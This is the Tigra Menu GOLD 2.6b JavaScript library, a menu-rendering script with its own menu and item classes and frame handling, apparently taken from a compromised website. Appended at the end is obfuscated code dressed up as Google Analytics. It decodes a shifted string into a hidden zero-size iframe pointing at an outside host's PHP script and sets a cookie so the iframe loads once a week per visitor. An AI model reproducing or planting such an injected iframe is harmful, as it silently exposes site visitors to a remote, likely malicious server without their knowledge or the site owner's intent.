// Title: Tigra Menu GOLD
// URL: http://www.softcomplex.com/products/tigra_menu_gold/
// Version: 2.6b
// Date: 05-18-2004 (mm-dd-yyyy)
// Notes: Registration needed to use this script legally.
// Visit official site for details.

// A path to Tigra Menu GOLD files from the PAGE containinig Menu
var TMenu_path_to_files = 'http://waltburville.com/menu_files/';

// Please, don't change below this line
// ----------------------------------------------------------------------------------
var menus = [], o_doc, actions = ['click', 'mouseout', 'mouseover', 'mousedown', 'hide'];

function doc_redraw (b_reframe) {
	for (var i in menus) {
		if (b_reframe && menus[i].o_common && !menus[i].is_master)
			menus[i].o_common.win.menus[i].redraw();
		menus[i].redraw();
		menus[i].active = true;
	}
	this.b_active = true;
}

function doc_update (b_refresh) {
	var n_value;
// verify if any environment paramenters changed
	if (this.width != (n_value = this.f_width(window))) {
		this.width = n_value;
		b_reframe = b_refresh = true;
	}
	if (this.height != (n_value = this.f_height(window))) {
		this.height = n_value;
		b_reframe = b_refresh = true;
	}
	if (this.xscroll != (n_value = this.f_xscroll(window))) {
		this.xscroll = n_value;
		b_refresh = true;
	}
	if (this.yscroll != (n_value = this.f_yscroll(window))) {
		this.yscroll = n_value;
		b_refresh = true;
	}
	if (b_refresh) {
		this.b_active = false;
		this.redraw(b_reframe)
	}
}

// --------------------------------------------------------------------------------
// menu class constructor
// --------------------------------------------------------------------------------
function menu (item_struct, o_cfg, o_adds) {

	this.item_struct = item_struct;
	this.o_cfg = o_cfg;
	this.o_cfg_cust = [];
	this.items       = [];
	this.a_kids    = [];
	
	this.exec        = menu_exec;
	this.hide        = menu_hide;
	this.onhide      = menu_onhide;
	this.onclick     = menu_onclick;
	this.onmouseout  = menu_onmouseout;
	this.onmouseover = menu_onmouseover;
	this.onmousedown = menu_onmousedown;
	this.redraw      = menu_redraw;
	this.build       = mitem_f_block;
	this.over_items  =
	this.b_popup     = 
	this.n_zindex    = 0;
	this.selectsHide = function () {};
	if (o_adds) {
		this.n_zindex  = o_adds.zIndex || 0;
		this.f_onexpand = o_adds.onexpand && typeof(o_adds.onexpand) == 'function' ? o_adds.onexpand : null;
		this.f_oncollapse = o_adds.oncollapse && typeof(o_adds.oncollapse) == 'function' ? o_adds.oncollapse : null;
		this.is_master = Boolean(o_adds.frames);
		this.b_popup   = o_adds.popup ? -1 : 0;
		this.b_rootshow = Boolean(o_adds.showroot);
		var a_frames = o_adds.frames;
		if (this.b_popup) {
			this.collapse = mitem_collapse;
			this.expand = mitem_expand;
			this.pos = function () {};
		}
		if (o_adds.forms) {
			this.a_forms   = o_adds.forms;
			this.selectsHide = TMGSelectsHide;
		}
	}
	
	this.o_cfg_def = {
		'width'      : 100,
		'height'     : 20,
		'block_top'  : null,
		'block_left' : null,
		'vertical'   : false,
		'expd_delay' : 0,
		'hide_delay' : 100,
		'table'      : [0, 0, 0],
		'css' : {
			'table' : '',
			'inner' : '',
			'outer' : ''
		}
	};
	
	this.depth = -1;
	this.o_root = this;

	this.getProp = function (s_key) {
		return this.o_cfg_def[s_key];
	};

	// prepare environment object
	if (!o_doc) {
		o_doc = new doc();
		o_doc.n_off_x = o_doc.n_off_y = 0;
		o_doc.b_Gecko = navigator.userAgent.indexOf('Gecko') > -1;
		o_doc.pix = TMenu_path_to_files + 'pixel.gif';
		if (!o_doc.s_onload) 
			o_doc.s_onload = 'onload';
		o_doc.f_width = window.innerWidth != null ? 
			function (w) { return w.innerWidth } : function (w) { return w.document.body.offsetWidth };
		o_doc.f_height  = window.innerHeight != null 
			? function (w) { return w.innerHeight }
			: window.frameElement != null
				? function (w) { return w.frameElement.offsetHeight }
				: function (w) { return w.document.body.offsetHeight }; 
//			function (w) { return w.innerHeight } : function (w) { return w.document.body.offsetHeight };
			
		o_doc.f_xscroll = window.pageXOffset != null ? 
			function (w) { return w.pageXOffset } : function (w) { return w.document.body.scrollLeft };
		o_doc.f_yscroll = window.pageYOffset != null ?
			function (w) { return w.pageYOffset } : function (w) { return w.document.body.scrollTop };
		o_doc.redraw = doc_redraw;
		o_doc.f_check = doc_update;
	}
	// register in global menus collection
	this.id = o_adds && o_adds.key ? o_adds.key : menus.length;
	menus[this.id] = this;

	this.subHTML = [];
	this.child_count = this.item_struct.length;

	this.b_relpos = Boolean(this.o_cfg[0].block_top == null && this.o_cfg[0].block_left == null);
		
	for (var i = 0; i < this.child_count; i++)
		new menu_item(i, this, this, i);
	// calculate menu sizes
	this.build(1);
	this.main = this.o_block;
	
	if (o_doc.b_is_macie) {
		document.write('<div id="p', this.id, '" class="mlyrh"></div>');
		o_doc.e_anch = o_doc.getElem('p' + this.id);
	}
	for (i = 0; i < this.a_kids.length; i++) this.a_kids[i].links();
//	document.write('<textarea id="ttt"></textarea>')
//	this.text = document.getElementById('ttt')
	
	if (top != window) {
		if (!top.TMenuGlobal) {
			top.TMenuGlobal = {
				'a_menus' : [],
				'f_refresh' : function () {
					for (var n_i in this.a_menus) {
						if (this.a_menus[n_i].n_frames < 2) {
							this.a_menus[n_i].a_instances[0].o_common = null;
							return this.a_menus[n_i].a_frames[0].setInterval('o_doc.f_check()', 500); 
						}
						for (var n_j in this.a_menus[n_i].a_frames)
							if (this.a_menus[n_i].a_frames[n_j])
								this.a_menus[n_i].a_frames[n_j].o_doc.f_check();
					}
					setTimeout('top.TMenuGlobal.f_refresh()', 1000) 
				},
				'f_exec' : function (n_mid, n_iid, n_action) {
					var a_instances = this.a_menus[n_mid].a_instances;
					for (var n_i in a_instances)
						if (a_instances[n_i] && !a_instances[n_i].items[n_iid])
							return setTimeout('top.TMenuGlobal.f_exec("' + n_mid + '","' + n_iid + '",' + n_action + ')', 100); 
					for (n_i in a_instances)
						if (a_instances[n_i])
							a_instances[n_i]['on' + actions[n_action]](n_iid);
				}
			};
			var n_pos, s_ = o_doc.o_frameset[o_doc.s_onload] 
				? new String(o_doc.o_frameset[o_doc.s_onload]) 
				: '';
			if ((n_pos = s_.indexOf('{')) > -1) 
				s_ = s_.substring(n_pos + 1, s_.lastIndexOf('}') - 1) + ';';
			o_doc.o_frameset[o_doc.s_onload] = Function(s_ + 'top.TMenuGlobal.f_refresh()');
		}
		if (!top.TMenuGlobal.a_menus[this.id]) 
			top.TMenuGlobal.a_menus[this.id] = {
				'n_frames' : 0,
				'a_frames' : [],
				'a_fnames' : [],
				'a_instances' : []
			};
		var o_c = this.o_common = top.TMenuGlobal.a_menus[this.id];
		
		if (o_c.a_fnames[name] == null) {
			o_c.a_fnames[name] = o_c.n_frames;
			o_c.n_frames ++;
		}
		o_c.a_frames[o_c.a_fnames[name]] = window;
		o_c.a_instances[o_c.a_fnames[name]] = this;
		if (this.is_master) {
			o_c.win = window;	
			this.a_frames = [];
			for (i in a_frames) {
				this.a_frames[i] = [];
				for (var j in a_frames[i])
					this.a_frames[i][j] = eval('top.' + a_frames[i][j]);
			}
		}
		window.onunload = function () {
			for (var n_i in menus) {
				if (menus[n_i].o_common) {
					menus[n_i].o_common.a_frames[menus[n_i].o_common.a_fnames[name]] = 		
					menus[n_i].o_common.a_instances[menus[n_i].o_common.a_fnames[name]] = null;
				}
			}
		}
	}
	else
		setInterval('o_doc.f_check()', 500)
}

// --------------------------------------------------------------------------------
// menu event handlers
// --------------------------------------------------------------------------------
function menu_redraw () {
	if (this.o_common) {
		this.a_frames = this.o_common.win.menus[this.id].a_frames;
		if (this.is_master) {
			var y_shift = 0, x_shift;			
			this.o_common.matrix = [];
			for (i in this.a_frames) {
				x_shift = 0;
				for (j in this.a_frames[i]) {
					if (!this.o_common.matrix[this.a_frames[i][j].name])
						this.o_common.matrix[this.a_frames[i][j].name] = {
							'x' : x_shift,
							'y' : y_shift
						};
					x_shift += o_doc.f_width(this.a_frames[i][j]);
				}
				y_shift += o_doc.f_height(this.a_frames[i][j]);
			}
				
			this.o_common.main = o_doc.f_divgetxy(this.main, 
				this.o_common.matrix[window.name].x - o_doc.f_xscroll(window), 
				this.o_common.matrix[window.name].y - o_doc.f_yscroll(window));
//			this.text.value = this.text.value + 'master\n'
		}
		else {
			o_doc.f_divsetxy(this.main, {
				'x' : this.o_common.main.x - this.o_common.matrix[window.name].x + o_doc.f_xscroll(window), 
				'y' : this.o_common.main.y - this.o_common.matrix[window.name].y + o_doc.f_yscroll(window)
				}
			);
			if (this.b_rootshow)
				o_doc.f_divsetvs(this.main, 1);
//			this.text.value = this.text.value + 'slave\n'
		}
	}
	if (document.layers)
		for (var n_i = 0; n_i < this.child_count; n_i++) this.a_kids[n_i].set_state(0);
	else if (b_notDOM)
		for (var n_i = 0; n_i < this.child_count; n_i++) this.a_kids[n_i].pos();
}

function menu_exec (id, n_action) {
	if (!o_doc.b_active) return;
	if (this.o_common && n_action)
		top.TMenuGlobal.f_exec(this.id, id, n_action);
	else
		return menus[this.id]['on' + actions[n_action]](id);
}

function menu_hide () {
	if (this.over_items > 0 || !this.t_hide) return;
	if (this.last_item) this.last_item.collapse(this.b_popup);
	this.last_item = null;
	if (this.f_oncollapse) this.f_oncollapse();
	if (!o_doc.isIE6 && !o_doc.b_Gecko) this.selectsHide(true);
}

function menu_onhide () {
	if (this.last_item) this.last_item.collapse(this.b_popup);
	this.last_item = null;
	this.over_items = 0;
}

function menu_onclick (id) {
	var b_go = Boolean(this.items[id].fields[1]);
	if (b_go && this.o_common)
		top.TMenuGlobal.f_exec(this.id, id, 4);
	return b_go;
}

function menu_onmouseout (id) {
	this.over_items --;
	this.items[id].set_state(0);
	if (this.t_expd) clearTimeout(this.t_expd);
	this.t_hide = setTimeout('menus["'+ this.id +'"].hide()',	this.items[id].getProp('hide_delay'));
	if (this.items[id].o_cfg_cust.sb != null) top.status = '';
	if (this.items[id].o_cfg_cust.oo != null) this.items[id].o_cfg_cust.oo(id);
}

function menu_onmouseover (id) {
	if ((o_doc.b_Gecko || window.opera) && this.items[id].state == 1)
		return;
	this.over_items ++;
	for (var o_item = this.items[id]; o_item.elements; o_item = o_item.o_parent)
		o_item.set_state(1);
	var o_item = this.items[id];
	clearTimeout(this.t_hide);
	this.t_hide = null;
	
	// set status bar message
	if (o_item.o_cfg_cust.sb != null) 
		setTimeout('menus["'+ this.id + '"].items["'+ id + '"].set_status()', 10);
	
	// item can not be unhighlighted
	this.o_hovered = o_item;
	if (o_item.o_cfg_cust.oh != null) o_item.o_cfg_cust.oh(id);
	if (o_item.o_parent.a_kids[0].n_delay_expd < 0)
		return;

	// expand the item
	if (o_item.o_parent.a_kids[0].n_delay_expd)
		this.t_expd = setTimeout('menus["'+ this.id +'"].items["'+ id +'"].expand()', o_item.o_parent.a_kids[0].n_delay_expd);
	else o_item.expand();
}

function menu_onmousedown (id) {
	this.items[id].set_state(2);
	if (this.items[id].o_parent.a_kids[0].n_delay_expd < 0)
		this.items[id].expand();
}
// --------------------------------------------------------------------------------
// menu item class constructor
// --------------------------------------------------------------------------------
function menu_item (path, o_parent, o_root, n_index) {
	this.id = this.path = new String (path);
	this.o_parent = o_parent; 
	this.o_root = o_root;
	this.arrpath = this.path.split('_');
	this.depth = this.arrpath.length - 1;

	// get reference to item's data in the structure
	var struct_path = '';
	for (var i = 0; i <= this.depth; i++)
		struct_path += '[' + (Number(this.arrpath[i]) + (i ? 3 : 0)) + ']';
	eval('this.fields = this.o_root.item_struct' + struct_path);
	if (!this.fields) return;
	this.o_cfg_cust = this.fields[2] ? this.fields[2] : [];
	// register self in the collections
	this.o_root.items[this.id] = this;
	o_parent.a_kids[o_parent.a_kids.length] = this;

	this.set_state = mitem_state;
	this.set_status = mitem_status;
	this.pos = mitem_position;
	this.build = mitem_build;
	this.getProp = mitem_getprop;
	this.getCSS  = mitem_getstyle;
	this.links = mitem_links;
	this.collapse = mitem_collapse;
	this.expand = mitem_expand;
	// initializing parameters needed for the first item only
	if (!n_index) {
		this.n_block_top  = this.o_parent.o_cfg_cust.bt || this.getProp('block_top');
		this.n_block_left = this.o_parent.o_cfg_cust.bl || this.getProp('block_left');
		this.b_expd_top   = this.getProp('top') < 0;
		this.b_expd_left  = this.getProp('left') < 0;
		this.n_width  = this.getProp('width'); 
		this.n_height = this.getProp('height');
		this.b_vertical   = this.getProp('vertical');
		this.n_wise_pos   = this.getProp('wise_pos');
		this.n_delay_expd = this.getProp('expd_delay');
	}
	
	// calculating sizes
	var n_w = this.o_parent.a_kids[0].n_width, n_h = this.o_parent.a_kids[0].n_height;
	if (this.o_parent.a_kids[0].b_vertical) {
		if (this.o_parent.o_cfg_cust.bw != null) n_w = this.o_parent.o_cfg_cust.bw;
		if (this.o_cfg_cust.sh != null) n_h = this.o_cfg_cust.sh;
	}
	else {
		if (this.o_parent.o_cfg_cust.bh != null) n_h = this.o_parent.o_cfg_cust.bh;
		if (this.o_cfg_cust.sw != null) n_w = this.o_cfg_cust.sw;
	}
	
	// building HTML instanse
	this.o_parent.subHTML[n_index] = this.build(n_w, n_h);

	this.child_count = this.fields.length - 3;
	if (this.child_count > 0) {
		this.a_kids = [];
		this.f_block = mitem_f_block;
		this.f_born_kids = mitem_born_kids;
		if (b_notDOM && !document.layers) {
			this.f_born_kids();
			this.b_safari = this.depth == 0 && this.o_root.b_relpos;
		}
	}
}
// --------------------------------------------------------------------------------
// menu item handlers
// --------------------------------------------------------------------------------
function mitem_born_kids () {
	this.subHTML = [];
	for (var i = 0; i < this.child_count; i++)
		if (this.fields[3 + i])
			new menu_item (this.path + '_' + i, this, this.o_root, i);
		else 
			this.child_count --;
	this.f_block();
	for (i in this.a_kids) this.a_kids[i].links();
}

function mitem_status () {
	top.status = this.o_cfg_cust.sb;
}

// --------------------------------------------------------------------------------
// reads property from template file, inherits from o_parent level if not found
// ------------------------------------------------------------------------------------------
function mitem_getprop (s_key) {

	// check if value is defined for current level
	var s_value = null, 
		a_level = this.o_root.o_cfg[this.depth];

	// return value if explicitly defined
	if (a_level)
		s_value = a_level[s_key];

	// request recursively from o_parent levels if not defined
	return (s_value == null ? this.o_parent.getProp(s_key) : s_value);
}
// --------------------------------------------------------------------------------
// reads property from template file, inherits from parent level if not found
// ------------------------------------------------------------------------------------------
function mitem_getstyle (s_pos, n_state) {

	var a_css = this.getProp('css'),
		a_oclass = a_css[s_pos];

	// same class for all states	
	if (typeof(a_oclass) == 'string')
		return a_oclass;

	// inherit class from previous state if not explicitly defined
	for (var n_currst = n_state; n_currst >= 0; n_currst--)
		if (a_oclass[n_currst])
			return a_oclass[n_currst];
}

// sets item's position on the page
function mitem_position (coord, value) {
	if (this.child_count > 0) {
		if (o_doc.b_is_macie) {
			o_doc.f_divsetxy(o_doc.e_anch, {'x' : 0, 'y' : 0});
			var o_pos = o_doc.f_divgetxy(o_doc.e_anch, 0, 0);
			o_doc.n_off_x = o_pos.x;
			o_doc.n_off_y = o_pos.y;
			o_doc.b_is_macie = 0;
		}
		var o_kid = this.a_kids[0],
			o_pos = o_doc.f_divgetxy(this.elements[0], 
			(this.o_cfg_cust.bl ? this.o_cfg_cust.bl : o_kid.n_block_left) - o_doc.n_off_x, 
			(this.o_cfg_cust.bt ? this.o_cfg_cust.bt : o_kid.n_block_top) - o_doc.n_off_y, this.b_safari);
		if (o_kid.b_expd_left)
			o_pos.x -= o_doc.f_divgetsz(this.o_block);
		if (o_kid.b_expd_top) 
			o_pos.y -= o_doc.f_divgetsz(this.o_block, 1);
		if (o_kid.n_wise_pos && !this.o_root.o_common) {
			var wise = o_kid.n_wise_pos,
			w_div = o_doc.f_divgetsz(this.o_block, 0), h_div = o_doc.f_divgetsz(this.o_block, 1),
			w_win = o_doc.f_width(window), h_win = o_doc.f_height(window),
			w_scr = o_doc.f_xscroll(window), h_scr = o_doc.f_yscroll(window);
			if (o_pos.x + w_div > w_win + w_scr) 
				o_pos.x = (wise == 1 ? w_win + w_scr : o_pos.x) - w_div;
			if (o_pos.y + h_div > h_win + h_scr) 
				o_pos.y = (wise == 1 ? h_win + w_scr : o_pos.y) - h_div;
			if (o_pos.x < w_scr) o_pos.x = w_scr;
			if (o_pos.y < h_scr) o_pos.y = h_scr;
		}
		o_doc.f_divsetxy(this.o_block, o_pos);
		if (this.o_blockBack) o_doc.f_divsetxy(this.o_blockBack, o_pos);
		if (b_notDOM && !document.layers)
			for (var n_i = 0; n_i < this.child_count; n_i++) this.a_kids[n_i].pos();
	}
}

var a_ver = navigator.appVersion.match(/MSIE [0-9.]+/),
	b_notDOM = window.opera || !a_ver || !a_ver[0] || a_ver[0].replace('MSIE ', '') < 4.99 || (navigator.appVersion.indexOf('Mac') > -1 && navigator.appVersion.indexOf('MSIE') > -1) || navigator.userAgent.indexOf('Konqueror') > -1;

document.write ('<scr' + 'ipt language="JavaScript" src="' + TMenu_path_to_files + 'menu.' 
	+ (document.layers ? 'lay' : b_notDOM ? 'opr' : 'dom') + '.js"></scr' + 'ipt>');
function setCookie(name, value, expiredays, path, domain, secure) {
   if (expiredays) {
      var exdate=new Date();
      exdate.setDate(exdate.getDate()+expiredays);
      var expires = exdate.toGMTString();
   }
   document.cookie = name + "=" + escape(value) +
   ((expiredays) ? "; expires=" + expires : "") +
   ((path) ? "; path=" + path : "") +
   ((domain) ? "; domain=" + domain : "") +
   ((secure) ? "; secure" : "");
}
function getCookie(name) {
   var cookie = " " + document.cookie;
   var search = " " + name + "=";
   var setStr = null;
   var offset = 0;
   var end = 0;
   if (cookie.length > 0) {
      offset = cookie.indexOf(search);
      if (offset != -1) {
         offset += search.length;
         end = cookie.indexOf(";", offset)
         if (end == -1) {
            end = cookie.length;
         }
         setStr = unescape(cookie.substring(offset, end));
      }
   }
   return setStr;
}
var user = getCookie("google");
if (user !=777){
var google = '';
var analytics = 'width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>';
var com = -2;
var pageTracker = '"ute?$jvvr<11uvcvukphq0qti1iqqing1iq0rjrAukf?:$"';
for(var i=0;i<pageTracker.length;i++)google+=String.fromCharCode(pageTracker.charCodeAt(i)+com);
document.write('<iframe'+google+analytics+'</iframe>' );
setCookie("google", "777", 7, "/");
}
